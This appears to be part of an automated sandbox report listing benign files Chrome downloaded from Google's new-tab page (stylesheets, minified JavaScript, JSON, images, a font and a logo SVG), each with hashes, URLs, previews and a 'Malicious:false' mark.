                    Preview:.gb_3e{background:rgba(60,64,67,.9);-webkit-border-radius:4px;border-radius:4px;color:#fff;font:500 12px "Roboto",arial,sans-serif;letter-spacing:.8px;line-height:16px;margin-top:4px;min-height:14px;padding:4px 8px;position:absolute;z-index:1000;-webkit-font-smoothing:antialiased}.gb_Hc{text-align:left}.gb_Hc>*{color:#bdc1c6;line-height:16px}.gb_Hc div:first-child{color:white}.gb_pa{background:none;border:1px solid transparent;-webkit-border-radius:50%;border-radius:50%;-webkit-box-sizing:border-box;box-sizing:border-box;cursor:pointer;height:40px;margin:8px;outline:none;padding:1px;position:absolute;right:0;top:0;width:40px}.gb_pa:hover{background-color:rgba(68,71,70,.08)}.gb_pa:focus,.gb_pa:active{background-color:rgba(68,71,70,.12)}.gb_pa:focus-visible{border-color:#0b57d0;outline:1px solid transparent;outline-offset:-1px}.gb_i .gb_pa:hover,.gb_i .gb_pa:focus,.gb_i .gb_pa:active{background-color:rgba(227,227,227,.08)}.gb_i .gb_pa:focus-visible{border-color:#a8c7fa}.gb_qa .gb_ra{bord
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:ASCII text, with very long lines (2141)
                    Category:downloaded
                    Size (bytes):89166
                    Entropy (8bit):5.523506026351917
                    Encrypted:false
                    SSDEEP:
                    MD5:881CD5F30BA6640BA5CC06E3CEE91BEF
                    SHA1:E073AC3AB921FA11956654297614660097B6CA08
                    SHA-256:EB95C490B8877F2319DA65AE2EE4DB5BA8F63002FBD824BE69DA28EA70FB76B7
                    SHA-512:B97BCEB3400A70991B054B72828445B53F21C50595E7BD32C898968FA82C024AEE1649DE4F324928D90862A4900ED15613A58884FF205768C340C734E6DF3C4C
                    Malicious:false
                    Reputation:unknown
                    URL:"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.iZZZ0XsR8bM.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAQ/rs=AHpOoo_0-97nH_2IxP0suYF105-PdJv4zg/cb=gapi.loaded_0"
                    Preview:gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a||[]};(0,_._F_toggles_initialize)([0x100000, ]);.var ba,ha,ia,na,oa,va,wa,Ba;ba=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ha=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype||a==Object.prototype)return a;a[b]=c.value;return a};.ia=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.ma=ia(this);na=function(a,b){if(b)a:{var c=_.ma;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ha(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:ASCII text, with very long lines (2296)
                    Category:downloaded
                    Size (bytes):158872
                    Entropy (8bit):5.453783390377682
                    Encrypted:false
                    SSDEEP:
                    MD5:ED39BFDB4B6A842B991566AEFC348BF7
                    SHA1:141241CD3681380A8F2902E2845A2BD9E0D32C6F
                    SHA-256:1452A55215C98100A54C5A7DB34AD2DB4C85852CE64D5DF670FA0BEABB707AE6
                    SHA-512:197C8364D6D0767258E6CEE0B8624A8228DA3DB1CBDB30745A47CDB9AAE91D4B79D0B7F1EF73572A83B2C05CE06D44CBC535E8C3C09E3F1849D93A8BFCDAD90F
                    Malicious:false
                    Reputation:unknown
                    URL:"https://www.gstatic.com/_/mss/boq-one-google/_/js/k=boq-one-google.OneGoogleWidgetUi.en.Q0faXsEYlg8.es5.O/am=EIaBZgM/d=1/excm=_b,_tp,appwidgetnoauthview/ed=1/dg=0/wt=2/ujg=1/rs=AM-SdHuISVwvxjyzZSiO6t5D4fciZ0IApg/m=_b,_tp"
                    Preview:"use strict";this.default_OneGoogleWidgetUi=this.default_OneGoogleWidgetUi||{};(function(_){var window=this;.try{._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a||[]};(0,_._F_toggles_initialize)([0x26818610, 0xd, ]);./*.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0.*/./*.. SPDX-License-Identifier: Apache-2.0.*/./*. SPDX-License-Identifier: Apache-2.0.*/./*.. Copyright 2024 Google, Inc. SPDX-License-Identifier: MIT.*/.var ia,aaa,Ia,caa,Sa,Ta,Ua,Va,Wa,Xa,Ya,ab,daa,eaa,cb,eb,ub,yb,Ob,Sb,Ub,Vb,gaa,$b,bc,cc,ic,nc,rc,tc,vc,xc,sc,jaa,Gc,Hc,kaa,Oc,laa,Rc,maa,bd,cd,gd,id,jd,hd,ld,Ed,Cd,Fd,z,Jd,Md,Qd,taa,uaa,vaa,waa,xaa,yaa,zaa,Aaa,Ae,Ee,Gaa,Eaa,Te,af,Jaa,Kaa,cf,rf,Oaa,Paa,xf,Qaa,Raa,Saa,Taa,Nf,Of,Pf,Uaa,Vaa,Waa,Xaa,Yf,Zf,aba,cba,dba,eba,fba,gba,iba,jba,aa,qg,rg,kba,tg,ug,xg,lba,Cg,Dg,Eg,oba,pba,Kg,Lg,qba,rba;_.ba=function(a){return function(){return aa[a].apply(this,arguments)}};_.c
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:ASCII text, with very long lines (65531)
                    Category:downloaded
                    Size (bytes):140356
                    Entropy (8bit):5.439735029874468
                    Encrypted:false
                    SSDEEP:
                    MD5:B801C19CF6CD5E0E753869C459FF75F3
                    SHA1:04DAE0D47D250B06C3F1108B024882B68889E803
                    SHA-256:68E2F1C19B3B97DF1488A81672EE87203A4AFB1A51105252DCA9F68353392267
                    SHA-512:7AF489AFA8A5B2037D945A60EDAED5C37A9F2A42BE87B24D1551894F58282B779BAB10D7CEF9E59E11BB2D9F07AEE80058BF163C614D93D449610C3B06262021
                    Malicious:false
                    Reputation:unknown
                    URL:https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
                    Preview:)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_qa gb_ib gb_Ud gb_od\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Jd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_sd gb_ld gb_zd gb_yd\"\u003e\u003cdiv class\u003d\"gb_rd gb_hd\"\u003e\u003cdiv class\u003d\"gb_Pc gb_m\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Pc gb_Sc gb_m\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:PNG image data, 64 x 25, 8-bit colormap, non-interlaced
                    Category:downloaded
                    Size (bytes):411
                    Entropy (8bit):7.095657896087651
                    Encrypted:false
                    SSDEEP:
                    MD5:A29A3C3E95064078F96157B0A04C536D
                    SHA1:05EA011CD8186DD0631D2C075C16D90DFE3FC750
                    SHA-256:0C6C74A7CE039B08C30C34D88F44E9A1A4682CFD377C7C6FB02CD32A9461E6C7
                    SHA-512:E1D7917E426FA8102B0369A48203283D181CFB4DBC09D62F7A548DD4929EFBA2EB89B33282814B8B5CCBAAB801BD42DAB21424CB9C97348D5F74278E6611F9E3
                    Malicious:false
                    Reputation:unknown
                    URL:https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSAm5nHT8h6U-KsFcB25fJcMhd60swWNG6sdZYYdUw&s=10
                    Preview:.PNG........IHDR...@..........6......PLTE......'''......<<<............stccc.........UUU]]]xxx.......58.............LLL......~~~CCC.......DF.PR..................nnn...111H.oX....IDAT8..]S.0.E.mim._A.&..*......>Ba|.gf'3......'.....t..|s0.....|y.>....V.T`........$.ox........b...-8.&e.9Zf.N.]..{..0..G:...8.........sNP..+jcTA}.L..gA.#.G......8.`..T........d.es.I.).B.%.dQI.=..,,../...........IEND.B`.
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:Web Open Font Format (Version 2), TrueType, length 15344, version 1.0
                    Category:downloaded
                    Size (bytes):15344
                    Entropy (8bit):7.984625225844861
                    Encrypted:false
                    SSDEEP:
                    MD5:5D4AEB4E5F5EF754E307D7FFAEF688BD
                    SHA1:06DB651CDF354C64A7383EA9C77024EF4FB4CEF8
                    SHA-256:3E253B66056519AA065B00A453BAC37AC5ED8F3E6FE7B542E93A9DCDCC11D0BC
                    SHA-512:7EB7C301DF79D35A6A521FAE9D3DCCC0A695D3480B4D34C7D262DD0C67ABEC8437ED40E2920625E98AAEAFBA1D908DEC69C3B07494EC7C29307DE49E91C2EF48
                    Malicious:false
                    Reputation:unknown
                    URL:https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2
                    Preview:wOF2......;........H..;..........................d..@..J.`..L.T..<.....x.....^...x.6.$..6. ..t. ..I.h|.l....A....b6........(......@e.]...*:..-.0..r.)..hS..h...N.).D.........b.].......^..t?.m{...."84...9......c...?..r3o....}...S]....zbO.../z..{.....~cc....I...#.G.D....#*e.A..b...b`a5P.4........M....v4..fI#X.z,.,...=avy..F.a.\9.P|.[....r.Q@M.I.._.9..V..Q..]......[ {u..L@...]..K......]C....l$.Z.Z...Zs.4........ x.........F.?.7N..].|.wb\....Z{1L#..t....0.dM...$JV...{..oX...i....6.v.~......)|.TtAP&).KQ.]y........'...:.d..+..d..."C.h..p.2.M..e,.*UP..@.q..7..D.@...,......B.n. r&.......F!.....\...;R.?-.i...,7..cb../I...Eg...!X.)5.Aj7...Ok..l7.j.A@B`".}.w.m..R.9..T.X.X.d....S..`XI..1... .$C.H.,.\. ..A(.AZ.................`Wr.0]y..-..K.1.............1.tBs..n.0...9.F[b.3x...*$....T..PM.Z-.N.rS?I.<8eR'.3..27..?;..OLf*.Rj.@.o.W...........j~ATA....vX.N:.3dM.r.)Q.B...4i.f..K.l..s....e.U.2...k..a.GO.}..../.'..%$..ed.*.'..qP....M..j....../.z&.=...q<....-..?.A.%..K..
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:PNG image data, 64 x 39, 8-bit colormap, non-interlaced
                    Category:downloaded
                    Size (bytes):1009
                    Entropy (8bit):7.713069020424305
                    Encrypted:false
                    SSDEEP:
                    MD5:5F80287FBCB9080D1EF2D38CAEB49072
                    SHA1:F13F5B25CBEF96D7B5B82968071C09D853099E25
                    SHA-256:A11985C20F98475D35BCBDEDEBF51CB0D7F227A8EAE15B883243992DB53C83D7
                    SHA-512:317E6E982BE8ED1831EA8C57194BB43C5753B8356C5E99104A9ACA6523D276E92ECB04060EEA8D874B5A6A5D0A1BB40153932C856486697FE2C1520D16FEF8E3
                    Malicious:false
                    Reputation:unknown
                    URL:https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcS6lrWfR9snVwQNxesFvCCqV6QZ2SmJLf9R__K_K-c&s=10
                    Preview:.PNG........IHDR...@...'......F......PLTE...#. ......MJK...................................634.....................0-.lkk......@>>...b`a.EJ......xwwXVW..dg.......wy.......17..........%,.....QU.orv.W.....IDATH..U.v.0.5N.....B.i..v.....$......O..;.t#.+...n.._....9y.n[..A.....V.L..9O.........@.HZ.x .e....n...g...'.<.~.C.B|.k........9.W..fy..U.?p.Y.Z..\yy.e...u....j....V1.pK.?.6...E.%..$F.P...+.k.?r.y..L........1..)...C'......F....3XQ8.Ua@Y.j..'....P.X-W.....<"Q....,t..@'..6.Z.d...k.!l.d..0k...M.\lo...].....#Qa..M.H..Ca.......:......|..`Ur^eh~..?.*..>.....X..Z.<B2........r....V.d}...=....z9+.L$9.....&....9k....av.....6G.e.P}N..\.....+c5.$. &..\.5.G.0....p..)....5..........d.B.MG).g.W.L.6UQ...*.*..AGu.r..k.1t.Y.....P.5.C..bi........T]....6...z.N.......8...v..R.^.m..T]+.iu._..E.2..8....f.......s....nD.|>.n8..`n.~.2z.{.U.........W...F..,o.. ..hAM.4:f.......x..........f./Mr..o..6...............(...Y....U.".H.....}?1..~^.L...7oM.....}..n...._.V/>L......
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:SVG Scalable Vector Graphics image
                    Category:downloaded
                    Size (bytes):1660
                    Entropy (8bit):4.301517070642596
                    Encrypted:false
                    SSDEEP:
                    MD5:554640F465EB3ED903B543DAE0A1BCAC
                    SHA1:E0E6E2C8939008217EB76A3B3282CA75F3DC401A
                    SHA-256:99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
                    SHA-512:462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
                    Malicious:false
                    Reputation:unknown
                    URL:https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
                    Preview:<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:ASCII text, with very long lines (2297)
                    Category:downloaded
                    Size (bytes):164269
                    Entropy (8bit):5.5468665963258434
                    Encrypted:false
                    SSDEEP:
                    MD5:25F7A69F60350B216DD68168FCDD9F29
                    SHA1:9CADEDDCAE941D5282B10FA0A67D0ABFAF5A3345
                    SHA-256:7644AA8246A59CC83C2CDF27EDA5EF9BA127C4F65AFBEBE2703E443341821E32
                    SHA-512:73A5DD5DF729746D71D0B7E802F7B983E897FDDFD8D36B29A139AFF9064B4C89DBA46CAF0F6A86D39A40F35E205C2D55EF43FB011D3C7293B465C165C6287765
                    Malicious:false
                    Reputation:unknown
                    URL:"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.qSwNCjo4ktM.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTuZX-yU_dZ0PIknpZM2RqldqYVSmw"
                    Preview:this.gbar_=this.gbar_||{};(function(_){var window=this;.try{._.sj=function(a){if(a!=null&&typeof a!=="number")throw Error("r`"+typeof a+"`"+a);return a};.}catch(e){_._DumpException(e)}.try{._.tj=function(a,b,c){return c?a|b:a&~b};_.uj=function(a,b,c,d){a=_.sb(a,b,c,d);return Array.isArray(a)?a:_.yc};_.vj=function(a,b){a=_.tj(a,2,!!(2&b));a=_.tj(a,32,!0);return a=_.tj(a,2048,!1)};_.wj=function(a,b){a===0&&(a=_.vj(a,b));return a=_.tj(a,1,!0)};_.xj=function(a){return!!(2&a)&&!!(4&a)||!!(2048&a)};_.yj=function(a,b,c){32&b&&c||(a=_.tj(a,32,!1));return a};._.zj=function(a,b,c,d,e,f){var g=!!(2&b);const h=g?1:2;e=!!e;f&&(f=!g);g=_.uj(a,b,d);var k=g[_.v]|0;const l=!!(4&k);if(!l){k=_.wj(k,b);var n=g,p=b;const r=!!(2&k);r&&(p=_.tj(p,2,!0));let q=!r,y=!0,G=0,C=0;for(;G<n.length;G++){const A=_.Ra(n[G],c,p);if(A instanceof c){if(!r){const D=!!((A.na[_.v]|0)&2);q&&(q=!D);y&&(y=D)}n[C++]=A}}C<G&&(n.length=C);k=_.tj(k,4,!0);k=_.tj(k,16,y);k=_.tj(k,8,q);_.wa(n,k);r&&Object.freeze(n)}if(f&&!(8&k||!g.len
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:HTML document, ASCII text, with very long lines (20323)
                    Category:downloaded
                    Size (bytes):48598
                    Entropy (8bit):5.7023366306098815
                    Encrypted:false
                    SSDEEP:
                    MD5:249964B50DA05E957DABA2BB0FC13950
                    SHA1:047AF0BE29D203C67CE72ABEE2F33455D6B41B31
                    SHA-256:D442BBCD4524EF938743F3CFF3EDB867A9221BFCE8B1F820B611EDAD609842DD
                    SHA-512:7CE0A905ABB2B952EBA5D391EAE50F2A1F4E49BE549871A0ABAD1FCBA5F5991817016FB67B3314AA886C75F2B48FC071DA0B89243BC63BD2F1403E6DCF1FD206
                    Malicious:false
                    Reputation:unknown
                    URL:https://ogs.google.com/widget/app/so?awwd=1&gm3=1&origin=chrome-untrusted%3A%2F%2Fnew-tab-page&origin=chrome%3A%2F%2Fnew-tab-page&cn=app&pid=1&spid=243&hl=en
                    Preview:<!doctype html><html lang="en" dir="ltr"><head><base href="https://ogs.google.com/"><link rel="preconnect" href="//www.gstatic.com"><meta name="referrer" content="origin"><link rel="canonical" href="https://ogs.google.com/widget/app/so"><link rel="preconnect" href="https://www.gstatic.com"><link rel="preconnect" href="https://ssl.gstatic.com"><script data-id="_gd" nonce="7r1vd1Rp0i7Hl8LnBMTp8Q">window.WIZ_global_data = {"DpimGf":false,"EP1ykd":["/_/*"],"FdrFJe":"-7271313941460711412","Im6cmf":"/_/OneGoogleWidgetUi","LVIXXb":1,"LoQv7e":true,"MT7f9b":[],"MUE6Ne":"OneGoogleWidgetUi","NrSucd":false,"OwAJ6e":false,"QrtxK":"","S06Grb":"","S6lZl":128566913,"TSDtV":"%.@.[[null,[[45459555,null,false,null,null,null,\"Imeoqb\"]],\"CAMSEx0W2eicEJbkAdysuBIKgPnaBgo\\u003d\"]]]","Vvafkd":false,"Yllh3e":"%.@.1719864980559335,146721592,2869543207]","ZwjLXe":243,"cfb2h":"boq_onegooglehttpserver_20240630.11_p1","eptZe":"/_/OneGoogleWidgetUi/","fPDxwd":[48691166,48802160,93880154,97517168],"gGcLoe":false,
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:ASCII text
                    Category:downloaded
                    Size (bytes):19
                    Entropy (8bit):3.6818808028034042
                    Encrypted:false
                    SSDEEP:
                    MD5:9FAE2B6737B98261777262B14B586F28
                    SHA1:79C894898B2CED39335EB0003C18B27AA8C6DDCD
                    SHA-256:F55F6B26E77DF6647E544AE5B45892DCEA380B7A6D2BFAA1E023EA112CE81E73
                    SHA-512:29CB8E5462B15488B0C6D5FC1673E273FB47841E9C76A4AA5415CA93CEA31B87052BBA511680F2BC9E6543A29F1BBFBA9D06FCC08F5C65BEB115EE7A9E5EFF36
                    Malicious:false
                    Reputation:unknown
                    URL:https://www.google.com/async/ddljson?async=ntp:2
                    Preview:)]}'.{"ddljson":{}}
                    No static file info